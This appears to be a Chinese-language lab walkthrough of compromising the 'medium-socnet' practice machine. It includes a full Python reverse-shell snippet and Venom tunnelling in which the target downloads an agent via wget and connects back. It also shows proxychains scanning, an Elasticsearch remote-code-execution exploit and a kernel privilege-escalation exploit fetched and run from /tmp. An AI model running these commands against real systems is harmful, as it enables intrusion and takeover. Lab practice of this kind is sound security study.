medium-socnet靶机打靶过程及思路

1.无法扫到ip地址
解决方法：设置全局nat

2.无法反弹shell
解决方法:换成/bin/sh
或者直接用python反弹shell代码：
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“192.168.168.13”,4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call([“/bin/sh”,“-i”]);

3.判断是否为docker容器：
①查看根下文件：/.dockerenv
②查看proc目录下文件：cat /proc/1/cgroup

4.内网穿透代理
①首先使用内网工具Venom ：在内网和kali之间建立一条隧道，基于隧道生成一个代理，
基于代理让工具扫描内网

②先把隧道的客户端程序传输拷贝到目标系统上，然后再通过在kali上的服务端程序在两
者间建立一条隧道

1.kali 本机上运行admin_linux_x64 侦听端口9999 等待目标建立连接
./admin_linux_x64 -lport 9999

2.开启kali本机的http服务

python3 -m http.server 80

3.在靶机上用wget来访问kali上的程序下载agent_liunx_x64

wget http://10.0.2.4（kali本机地址）/agent_liunx_x64

4.赋予下载下来的文件权限

chmod+x agent_liunx_x64

5.用靶机上面下载文件访问kali本机

./a -rhost 10.0.2.4 -rport 9999

6.本机上在venom下show命令查看节点然后连接节点

show

goto1

7.在kali上的socks上启动侦听端口

socks 1080

③为了让kali上面的所有工具都可以用来扫描，用proxychains挂载在socks代理上

1.sudo vi /etc/proxychains4.conf 将代理类型改为socks5文件末尾的端口改为1080

④开始扫描目标地址上存活的其他主机

1.proxychains nmap -sT -Pn 172.17.0.1 URI 端口扫描中最稳定的，利用的是TCP三次握手

2.查看目标端口的服务信息proxychains nmap -p22,5000 -sT -sV -Pn 172.17.0.1

3.火狐浏览器内设置socks代理 127.0.0.1 端口1080

4.kali浏览器访问靶机内网地址发现留言板内容一致，说明该主机是镜像的宿主机，面向容器
内网的IP地址，172,17.0.1即为要攻击的靶机

5.对172.17.0.2 发现只开放9200端口 意识到Elasticsearch开放在9200端口上

proxychains nmap -sT -Pn 172.17.0.2

proxychains nmap -p9200 -sV-sT -Pn 172.17.0.1

⑥用searchsploit搜索Elasticsearch然后尝试利用远程代码执行漏洞攻击

1.cp /usr/share/exploitdb/exploits/linux/remote/36337.py . ------复制代码到根目录下

2.使用脚本开始攻击 ------ proxychains python2 36337.py 172.17.0.2

出现id敲击无法获取到root权限问题，解决方法：插入
proxychains curl -XPOST ‘172.17.0.2:9200/twittter/user/yren’ -d ‘{“name”:“Wu”}’
原因：因为Elasticsearch中需要先有数据才能被攻击

3.id发现为root权限，ls查看passwords挨个登录发现john的密码hack1337可以登录

⑦ssh登录john ----ssh john@10.0.2.5 准备进行提权操作

1.uname -a 发现版本为3.13 然后searchsploit linux3.13 拷贝脚本37292.c到根目录

cp /usr/share/exploitdb/exploits/linux/local/37292.c .

2.目标靶机上没有gcc 所以在本机编译后再传过去 修改掉需要编译的部分

从fprintf（stderr）到write （fd）

3.开始编译 gcc -o exp 37392.c – 把37392.c这个文件改变为exp

4.发现存在locate ofs-lib.so 然后拷贝过来

cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .

5.继续开启http服务 靶机上下载下来exp文件

python3 -m http.server 80

wget http://10.0.2.4/Desktop/‘Venom v1.1.0’/exp

wget http://10.0.2.4/Desktop/‘Venom v1.1.0’/ofs-lib.so

6.将所有文件存放到/tmp目录下，因为只有/tmp目录下有可执行和阅读的权限

cp * /tmp/

cd /tmp/

chmod +x ./exp

./exp运行

7.输入id发现已经得到root权限，打靶完毕